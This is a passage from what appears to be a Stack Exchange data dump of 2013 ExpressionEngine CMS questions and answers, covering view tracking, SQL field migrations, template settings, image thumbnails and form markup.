channel=&quot;books&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; track_views=&quot;one&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;&#xA;&#xA;&amp;lt;h2 class=&quot;title&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Author&amp;lt;/b&amp;gt;: {book_author}&#xA;&amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;Publisher&amp;lt;/b&amp;gt;: {book_publisher}&amp;lt;/p&amp;gt;&#xA;&#xA;{book_review}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just adding the &lt;code&gt;track_views=&quot;one&quot;&lt;/code&gt; to a single article/view page, will start the view count process. To display, the number of views or to just sort by popularity, you would then use &lt;code&gt;view_count&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the Tracker Module, you would add the view count like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;books&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;&#xA;{exp:tracker:track channel=&quot;books&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;&amp;lt;h2 class=&quot;title&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Author&amp;lt;/b&amp;gt;: {book_author}&#xA;&amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;Publisher&amp;lt;/b&amp;gt;: {book_publisher}&amp;lt;/p&amp;gt;&#xA;&#xA;{book_review}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tracker, also provides an interface for looking at the data internally in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/krmse.png&quot; alt=&quot;Tracker: Channel View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be beneficial, when you want to see popularity, but don't want to display it on the front-end of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, don't forget to set-up one or two Google Analytic Dashboards. &lt;a href=&quot;http://www.dashboardjunkie.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dashboard Junkies&lt;/a&gt; create some of my favorite GA Dashboards. See this one for tracking sales, &lt;a href=&quot;http://www.dashboardjunkie.com/sales-cockpit-dashboard&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dashboard 11: Sales Cockpit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/urHp1.jpg&quot; alt=&quot;Dashboard: Sales Cockpit&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add them to your Google Analytics account, to dive into your data, faster. As well as customize them to better suit your website. You probably want to add some data funnels as well, so you can see, if and when users drop out of the sales process.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-02T06:02:09.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5748" PostTypeId="2" ParentId="5734" CreationDate="2013-02-02T13:26:26.143" Score="2" Body="&lt;p&gt;I think the member_id param only works when checking out with a subscription. So either the docs are wrong, or this is a bug. I think you'll have to use that extension to get it to work properly.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-02T13:26:26.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5749" PostTypeId="1" CreationDate="2013-02-02T14:13:39.363" Score="1" ViewCount="232" Body="&lt;p&gt;I have a current checkbox field which contains 8 options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change this field to a P&amp;amp;T checkbox field, to make use of the &lt;code&gt;option_name : Option Label&lt;/code&gt; ability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been told I can run an SQL find and replace from within the CP, but I've never done this before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My field ID for the original field is id=6, and the new one is id=38&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with how I can transfer (or copy) the channel entires data from one field to another? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the suggestions, will take a look at the fields now, and try it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just so I'm sure i'm not doing anything unnecessarily, I am moving the data to a P&amp;amp;T field, as I need the ability to put the label and value. In order for the following code to work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{walk_features_new}&#xA;&#xA;    &amp;lt;li class=&quot;{option_name}&quot;&amp;gt;&amp;lt;strong&amp;gt;{option}&amp;lt;/strong&amp;gt;&#xA;     &amp;lt;p&amp;gt;&#xA;      {if &quot;{option_name}&quot; == &quot;option1&quot;}Description for option 1{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option2&quot;}Description for option 2{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option3&quot;}Description for option 3{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option4&quot;}Description for option 4{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option5&quot;}Description for option 5{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option6&quot;}Description for option 6{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option7&quot;}Description for option 7{/if}&#xA;      {if &quot;{option_name}&quot; == &quot;option8&quot;}Description for option 8{/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;                               {/walk_features_new}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am right in think that this would not be do-able with the standard checkbox field, as I could only output the &lt;code&gt;{option}&lt;/code&gt; right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-02-02T21:54:28.150" LastActivityDate="2013-02-02T21:54:28.150" Title="Transferring data from one field to another" Tags="|channel-entries|channel|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5750" PostTypeId="2" ParentId="5745" CreationDate="2013-02-02T15:08:43.667" Score="0" Body="&lt;p&gt;This is probably easiest, if you matched &lt;code&gt;template_group&lt;/code&gt; names to &lt;code&gt;channels&lt;/code&gt; or &lt;code&gt;sections&lt;/code&gt; of the site. You would basically create a custom query, that pull just not excluded channels. This assumes, there are some channels, where data is combined into a different section, or that are used for utility purposes, like &lt;code&gt;sectional_text&lt;/code&gt; or &lt;code&gt;transactions&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT channel_title, channel_description, channel_name, channel_url, total_entries &#xA;FROM exp_channels &#xA;WHERE channel_id &#xA;NOT IN ('15','14','13','9','2','17','4') &#xA;ORDER BY FIELD(channel_name,'item2','item5','item4','item1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also custom order them as needed. You don't need to pull &lt;code&gt;channel_description&lt;/code&gt; and other options if they won't be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd, of course still need the run the subqueries for generation, the page listings under the main &lt;code&gt;section&lt;/code&gt; navigation. But that should get you started. The primary point is to use MySQL's &lt;code&gt;NOT IN&lt;/code&gt; so you can list out the excluded items, since they are far less likely to change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it occurs to me, if you don't have clients creating new template groups, why would you have them creating new channels. So this response, probably isn't exactly what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-02-02T18:42:57.510" LastActivityDate="2013-02-02T18:42:57.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5751" PostTypeId="2" ParentId="5749" CreationDate="2013-02-02T15:12:55.617" Score="1" Body="&lt;p&gt;You can run this SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_38=REPLACE(field_id_6, &quot;|&quot;, &quot;\n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where field with id 38 would be P&amp;amp;T checkboxes and field with id 6 would be checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This SQL would work fine although it would be better if you can take a backup of database table exp_channel_data.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-02T15:12:55.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5752" PostTypeId="2" ParentId="5745" CreationDate="2013-02-02T18:08:52.877" Score="1" Body="&lt;p&gt;With the top nav it's a little trickier, but with the sub nav within a given section, I do that all the time. I tend to think of top nav as being fixed, not only programmatically, but from a business perspective, your top nav is a representation of what you do, so planned accordingly, it may not change often (obviously, this depends on what you do).  The pages within a given section though, I tend to approach with entries creating pages within the given section, and therefore i can choose whether they display in the top nav.  I can make it to that ever page appears as a dropdown item within a given channel's main nav item, or i can even make that optional by adding an admin/owner checkbox or something like that to indicate whether the item should os shouldn't be included in the top nav.  I've also done things like an alternate title field for use in the dropdown nav (since the &quot;real&quot; title may be a bit long so you might want it represented differently in the navigation, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking that approach requires a bit of planning, but I do it often and it works just fine.  As nonprofit_tech indicated, having your client creating templates groups, etc. means more work for them than the simple creation of entries, so it may not be ideal.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-02T18:08:52.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5753" PostTypeId="1" AcceptedAnswerId="5758" CreationDate="2013-02-02T19:03:25.527" Score="1" ViewCount="67" Body="&lt;p&gt;I am using a custom button which uses a href and I was wondering if it is possible to change the input submit checkout button from using an input to using a href?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add to Cart&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Add to Cart&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="150" LastEditDate="2013-02-03T02:10:59.330" LastActivityDate="2013-02-03T02:13:49.563" Title="Exp:resso Store - Change checkout button from input to href" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5755" PostTypeId="2" ParentId="3645" CreationDate="2013-02-02T20:59:12.363" Score="5" Body="&lt;p&gt;The query you'd use to change all templates to be saved as files is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `yourDBname`.`exp_templates`&#xA;SET `save_template_file` = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you wanted to limit it to only a certain group you'd use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `yourDBname`.`exp_templates`&#xA;SET `save_template_file` = 'y' &#xA;WHERE `exp_templates`.`group_id` =X;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change out &lt;code&gt;yourDBname&lt;/code&gt; for your actual database name in both cases and change &lt;code&gt;X&lt;/code&gt; for the number which equals your template group_id number in the second case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could run this direct from the SQL tab in PMA (phpMyAdmin) or using a tool like Sequel Pro or Navicat etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make sure you have a DB backup first of course!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-02-02T20:59:12.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5756" PostTypeId="1" CreationDate="2013-02-03T00:39:16.293" Score="2" ViewCount="109" Body="&lt;p&gt;I hope this is the right place, not sure if its a css issue, or whether or not it has something to do with what EE is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a news channel setup, with a main &quot;body&quot; field. This is a textarea. When the entry is outputted, it doe not take on the css styling. I do not have this problem anywhere else  within my templates, just these main body fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I inspect it, all the HTML markup is there, however its just plain straight text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could EE be having any play in it, or am I missing something with regards to my css?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-03T01:15:36.853" Title="Body field of an entry(channel) not being styled?" Tags="|css|richtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5757" PostTypeId="2" ParentId="5756" CreationDate="2013-02-03T01:15:36.853" Score="1" Body="&lt;p&gt;If the field is a textarea type then it will be devoid of styling. Further to that there should be some simple options like auto br, none, can't recall the rest when you set the field up or edit it, these options are helpful dependant on how you want the field to behave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you wrap your tag in &lt;p&gt; tags in your template you'll at least get proper p styling, combine with setting your textarea field up with auto br you'll then get line breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want more control, try making it a rte field or look at devot-ee for wysiwyg field types like wygwam or editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;failing all that and I've misread your post can you throw up some screen shots of how you've set up your field.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-02-03T01:15:36.853" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5758" PostTypeId="2" ParentId="5753" CreationDate="2013-02-03T02:13:49.563" Score="1" Body="&lt;p&gt;Not possible, because an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element doesn't submit the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't like &lt;code&gt;&amp;lt;input type=&quot;submit&quot;&amp;gt;&lt;/code&gt;, you can also use &lt;code&gt;&amp;lt;input type=&quot;image&quot;&amp;gt;&lt;/code&gt; or a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; element, and you are free to style all of these however you like using CSS.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-03T02:13:49.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5759" PostTypeId="2" ParentId="5671" CreationDate="2013-02-03T09:25:20.013" Score="1" Body="&lt;p&gt;I normally bootstrap the EE1 config with &lt;a href=&quot;https://gist.github.com/3188642&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/3188642&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you have the latest FF?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-03T09:25:20.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5760" PostTypeId="1" AcceptedAnswerId="5765" CreationDate="2013-02-03T12:17:18.477" Score="1" ViewCount="41" Body="&lt;p&gt;Has anyone encountered that? When I click &quot;Update&quot; button on &quot;Edit Template&quot; page, all the code that the template contained is mysteriously gone. The browser shows blank page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens? How to prevent that? &lt;/p&gt;&#xA;" OwnerUserId="905" LastActivityDate="2013-11-15T16:32:52.367" Title="Clicking Update Button Wipes Out the Code" Tags="|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5761" PostTypeId="1" AcceptedAnswerId="5770" CreationDate="2013-02-03T15:22:54.293" Score="6" ViewCount="4479" Body="&lt;p&gt;I'm basically trying to create a button that will take the users back to a search results page of a directory.  Is there any way to populate &lt;code&gt;href&lt;/code&gt; with the url of the previous page?&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2013-10-17T12:27:24.137" Title="Populating Href With URL from Previous Page?" Tags="|url|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5762" PostTypeId="2" ParentId="5761" CreationDate="2013-02-03T15:35:15.397" Score="2" Body="&lt;p&gt;If you enable PHP this will output the previous URL. But HTTP_REFERER can be modified by the users browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?=$_SERVER['HTTP_REFERER'];?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-02-03T15:35:15.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5763" PostTypeId="2" ParentId="5761" CreationDate="2013-02-03T15:43:21.333" Score="1" Body="&lt;p&gt;you could off course also do a href=&quot;javascript:history.back();&quot;&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2013-02-03T16:55:01.920" LastActivityDate="2013-02-03T16:55:01.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5764" PostTypeId="2" ParentId="5634" CreationDate="2013-02-03T15:58:16.067" Score="2" Body="&lt;p&gt;Rather than do it via htaccess why not use EE segment tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if segment_1 != &quot;en&quot;}{if segment_1 != &quot;fr&quot;}{redirect=&quot;/en/&quot;}{/if}{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've nested so that it's an early parsed simple conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you'll be getting into the realm of settings cookies and reading them in the htaccess.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-02-03T15:58:16.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5765" PostTypeId="2" ParentId="5760" CreationDate="2013-02-03T16:33:13.007" Score="3" Body="&lt;p&gt;Sounds like an addon is getting in the way or your EE install is off somehow. Try disabling Extensions and check for JS errors. You might need to reupload your CP theme as well. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-02-05T00:01:32.877" LastActivityDate="2013-02-05T00:01:32.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5766" PostTypeId="1" CreationDate="2013-02-03T17:31:56.823" Score="3" ViewCount="334" Body="&lt;p&gt;I've recently moved an EE site to a new server (a reasonably beefy VPS from Memset), after lots of hunting around changing paths, I've the site working with only one problem.  CE Image is used on the site heavily, and it seems to be only creating around half the thumbnails per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem pages are listing pages, so 24 entries per page, each entry has a small thumb created, and a larger (hover) thumb created.  On the new server only half of them are being created (interestingly always the thumb + the hover)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the originals exist (they do!)&#xA;If I reduce from 24 per page to 12 per page, it seems to create 8 of the 12 pairs&#xA;Template Debugging is showing no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm a little stumped.. this code works perfectly on the other server, so I'm thinking possibly an Apache / PHP set up issue (more ram? Threads? Workers needed?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I inspect the generated code, the HTML looks fine and dandy, with all the file names looking as they should but only half of the images actually exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code snippet below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;/image/{url_title}&quot; title=&quot;{title}&quot; class=&quot;thumb&quot; data-large=&quot;{exp:ce_img:pair src=&quot;/originals/if{entry_id}.jpg&quot; max=&quot;400&quot; filename=&quot;hover-{url_title}&quot; cache=&quot;yes&quot; refresh=&quot;360&quot;}{made}{/exp:ce_img:pair}&quot;&amp;gt;&#xA;        {exp:ce_img:pair src=&quot;/originals/if{entry_id}.jpg&quot; max=&quot;110&quot; cache=&quot;yes&quot; refresh=&quot;360&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;abbr title=&quot;{title}&quot;&amp;gt;#{entry_id} / /originals/if{entry_id}.jpg &amp;lt;!-- This shows the correct image path / entry ID etc --&amp;gt; &amp;lt;/abbr&amp;gt;&#xA;    &amp;lt;a href=&quot;/image/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;view&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;#{entry_id}&quot; class=&quot;add&quot; rel=&quot;{entry_id}&quot;&amp;gt;add to lightbox&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some versions and server info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP 5.4.11 (128MB memory limit)&#xA;MySQL 5.1.66&#xA;Apache 2.2.16 (Debian)&#xA;ExpressionEngine 2.4.0&#xA;CE Image 2.4.1&#xA;Server is a VPS, 2 Cores, 2Gb ram etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help / ideas / pointers greatly appreciated!  Thanks :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geoff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of the template debug out put (Basically 24 times the following, with names replaced of course!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.162424 / 10.88MB)        ***  CE Image debug: Base path: '/srv/www/redacted.com/public_html/'&#xA;(0.162442 / 10.88MB)        ***  CE Image debug: Source image: '/originals/if133979.jpg', Fallback image: ''&#xA;(0.162451 / 10.88MB)        ***  CE Image debug: The image '/srv/www/redacted.com/public_html/images/made/originals/hover-file_name_300_400.jpg' is not cached.&#xA;(0.162459 / 10.88MB)        ***  CE Image debug: Image opened '/srv/www/redacted.com/public_html/originals/if133979.jpg'.&#xA;(0.162466 / 10.88MB)        ***  CE Image debug: Image saved to /srv/www/redacted.com/public_html/images/made/originals/hover-file_name_300_400.jpg.&#xA;(0.162998 / 10.24MB)       -&amp;gt; Data Returned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="55" LastEditDate="2013-02-04T13:15:39.903" LastActivityDate="2013-02-04T17:32:44.193" Title="CE Image - Only generating half the images?" Tags="|php|ce-image|apache|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5767" PostTypeId="1" CreationDate="2013-02-03T18:23:58.960" Score="4" ViewCount="489" Body="&lt;p&gt;I may be taking on a project for a large EE site that would most likely be running on IIS. Although I have some very minor experience of IIS I have never run PHP on it let alone an EE site. I don't envisage problems with getting things sorted on the server since the company I will be working with are an IT firm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any specific things I should be looking out for with regards to running an ExpressionEngine site in this environment?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-02-03T19:49:09.933" LastActivityDate="2013-02-04T01:48:40.153" Title="Running an EE site on IIS. What are the &quot;gotchas&quot;?" Tags="|server|windows|iis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5768" PostTypeId="1" AcceptedAnswerId="5778" CreationDate="2013-02-03T19:07:31.223" Score="3" ViewCount="142" Body="&lt;p&gt;Using Exp:resso's store addon, is it possible to do buy one get one free type sales?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the promo codes but they dont seem to have the option to require more than one item in the cart to use it or anything like that&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2013-02-04T06:20:46.750" Title="Buy one get one free sales with exp:store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5770" PostTypeId="2" ParentId="5761" CreationDate="2013-02-03T19:41:39.237" Score="10" Body="&lt;p&gt;There are a few add-ons that allow you to do this without having to rely on PHP or Javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot;&gt;&lt;strong&gt;Mo Variables&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would want to have &lt;code&gt;&amp;lt;a href=&quot;{last_page_visited}&quot;&amp;gt;Back to Search Results&amp;lt;/a&amp;gt;&lt;/code&gt; or you could do &lt;code&gt;&amp;lt;a href=&quot;{one_page_visited}&quot;&amp;gt;Back to Search Results&amp;lt;/a&amp;gt;&lt;/code&gt; the nice thing about Mo Variables is that it allows you to grab up to 5 pages of history from the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot;&gt;&lt;strong&gt;URL Helper&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With URL Helper you would want to use the following &lt;code&gt;&amp;lt;a href=&quot;{referrer}&quot;&amp;gt;Back to Search Results&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both offer similar functionality with each having something that other does not so evaluate them both and see which one suits your needs the best.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-02-05T23:17:33.730" LastActivityDate="2013-02-05T23:17:33.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5771" PostTypeId="2" ParentId="5768" CreationDate="2013-02-03T21:22:56.087" Score="1" Body="&lt;p&gt;From recent memory of trying this.  As of the current version this isn't available. Best bet would be a custom extension.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-02-03T21:22:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5772" PostTypeId="2" ParentId="5726" CreationDate="2013-02-03T21:39:13.437" Score="2" Body="&lt;p&gt;I'm using CE image for serving up thumbs and and main images that populate a slider on each of my main single page views. I have played around with the settings and adjusted the quality of the thumbs down to 60, with default sharpening. They look really good on both 27&quot; screen and retina devices. After the initial &quot;call&quot; they serve up nice and quickly.&#xA;The only thing I've ever been a big concerned over is the fact that all images get made into one single folder, but I've been running my site for almost a year and not had any problems. &lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-03T21:39:13.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5773" PostTypeId="1" CreationDate="2013-02-03T22:44:32.150" Score="1" ViewCount="127" Body="&lt;p&gt;I have a safecracker form that allows users to post location details. At the moment, I use a combination of a standard  for them to choose the country, and the reegion select fieldtype to select the UK county. Based on there selections, I manually add the category based on these selections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for an easier way for the user to add the details in teh safecracker form, and what I would ideally like, is a way for them to choose just the county, from a grouped select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uZp2.png&quot; alt=&quot;This one&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which would be, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;England&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;County&lt;/li&gt;&#xA;&lt;li&gt;County&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Scotland&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;County&lt;/li&gt;&#xA;&lt;li&gt;County&lt;/li&gt;&#xA;&lt;li&gt;Etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and so one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means they only have to make one select within the form, and it would be easy to validate.&#xA;Is there a way to produce this type of dropdown from an EE field, that would also be compatible with safecracker and its inline validation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I could also make this a grouped category dropdown maybe? Although I do like to have the  country/county replicated in normal fields as it's easier to pull into templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-04T13:14:18.470" Title="Grouped &lt;select&gt; custom field?" Tags="|custom-fields|channel|fields|drop-down|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
